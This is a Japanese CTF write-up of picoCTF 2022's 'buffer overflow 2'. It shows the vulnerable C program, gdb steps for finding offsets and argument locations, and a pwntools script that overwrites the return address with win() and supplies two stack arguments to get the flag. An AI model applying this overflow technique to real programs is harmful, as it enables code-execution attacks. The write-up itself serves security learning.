picoCTF 2022 buffer overflow 2 Writeup

リターンアドレスの書き換えと，関数の引数を設定する縛り。


Control the return address and arguments
This time you'll need to control the arguments to the function you return to! Can you get the flag from this program?

# 問題

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/871bdd14-6fa7-bfd3-1cb4-51f2bfd53d9b.png)

# ソース

```c:vuln.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 100
#define FLAGSIZE 64

void win(unsigned int arg1, unsigned int arg2) {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  if (arg1 != 0xCAFEF00D)
    return;
  if (arg2 != 0xF00DF00D)
    return;
  printf(buf);
}

void vuln(){
  char buf[BUFSIZE];
  gets(buf);
  puts(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}
```

vuln()関数にBOFがあり，vuln()関数からmain()に戻るときの戻りアドレスをwin()関数のアドレスに書き換えるいつものパターン。

ただし，win()関数の引数を設定しなければならない縛りがある。

# Aの数を求める

## vuln()の戻りアドレス

gdb　で　pdisass main　して　vuln()　の戻りアドレスを確認

```
   0x080493d8 <+102>:	call   0x8049338 <vuln>
   0x080493dd <+107>:	mov    eax,0x0
```

0x080493dd　だ。

## BOF直後のスタックを確認

gdb　で　pdisass vuln　して　ブレイクポイントの設定場所を確認

```
   0x08049355 <+29>:	call   0x80490f0 <gets@plt>
   0x0804935a <+34>:	add    esp,0x10
```

b *0x0804935a
r
c
AAA
とすすめる

## Aの数を確認

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/ad0b25e3-b452-6b47-bc25-af6c58ef7018.png)

Aの数は 4*28 個だ。

# win関数のアドレス

```
gdb-peda$ p &win
$1 = (<text variable, no debug info> *) 0x8049296 <win>
```
 
0x8049296

# 実験１

これだけわかったらソルバー書いて実験してみる

```python:solver.py
import pwn
#io = pwn.remote("saturn.picoctf.net", 55335)
io = pwn.process("./vuln")
ret = io.readuntil("Please enter your string: \n")
print(ret)
win_addr = 0x8049296
s = b"A" * 4 * 28
s += pwn.p32(win_addr)
print(s)
io.send(s)
io.interactive()
```

どうかな？

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/90908371-2b68-7792-4442-7eb2395b5452.png)

「flag.txtが無い」って怒られたのでok。

あとは，

```c
  if (arg1 != 0xCAFEF00D)
    return;
  if (arg2 != 0xF00DF00D)
    return;
```

の縛りをクリアするだけ。

# win()関数の引数

関数プロローグが済んだ後は，第一引数は，  ebp+0x8　になるはず！

gdb　で　vuln()関数の　ret　まで進め，gdbで戻りアドレスをwin()関数に書き換える

```
   0x08049371 <+57>:	ret   
```

b *0x08049371

```
gdb-peda$ x/40gw $esp
0xffffd3ec:	0x080493dd	0x00000001	0xffffd4b4	0xffffd4bc
```

0xffffd3ecに書き換えたいvuln()の戻りアドレスがあるので書き換える

```
Breakpoint 1, 0x08049371 in vuln ()
gdb-peda$ x/40gw $esp
0xffffd3ec:	0x080493dd	0x00000001	0xffffd4b4	0xffffd4bc
gdb-peda$ set {int}0xffffd3ec=0x8049296
gdb-peda$ x/40gw $esp
0xffffd3ec:	0x08049296	0x00000001	0xffffd4b4	0xffffd4bc
```

si で進め，win()関数に入る。


![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/2aab56f4-16a1-54aa-05b3-2156b8c94079.png)

引数のアドレス確認。

```
   0x0804930c <+118>:	cmp    DWORD PTR [ebp+0x8],0xcafef00d
   0x08049315 <+127>:	cmp    DWORD PTR [ebp+0xc],0xf00df00d
```

ビンゴ，想定通り

引数１は　ebp+0x8
引数２は　ebp+0xc

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/d4344f40-ca75-f6b7-2038-b71e956a3b15.png)

siで進めて，関数プロローグを終わらせる

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/4fd906da-09c4-74a7-50c6-d42aa5ea7e20.png)

ここで ebp を確認

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/eb9f6bee-f464-65f0-8131-8749281a6d0d.png)

引数１　ebp+0x8　は，スタックアドレス　0xffffd3f4
引数１　ebp+0xc　は，スタックアドレス　0xffffd3f8

Aの数を確認した時のスタック

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/ad0b25e3-b452-6b47-bc25-af6c58ef7018.png)

攻撃コード（最終形）

```python:solver.py
import pwn
io = pwn.remote("saturn.picoctf.net", 49754)
#io = pwn.process("./vuln")
ret = io.readuntil("Please enter your string: \n")
print(ret)
win_addr = 0x8049296
arg1 = 0xCAFEF00D
arg2 = 0xF00DF00D
s = b"A" * 4 * 28
s += pwn.p32(win_addr)
s += pwn.p32(0x00000001)
s += pwn.p32(arg1)
s += pwn.p32(arg2)
print(s)
io.send(s)
io.interactive()
```

どうかな？

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/fe29ddd2-aa7a-22dd-116a-e36ef5b27c28.png)

刺さった！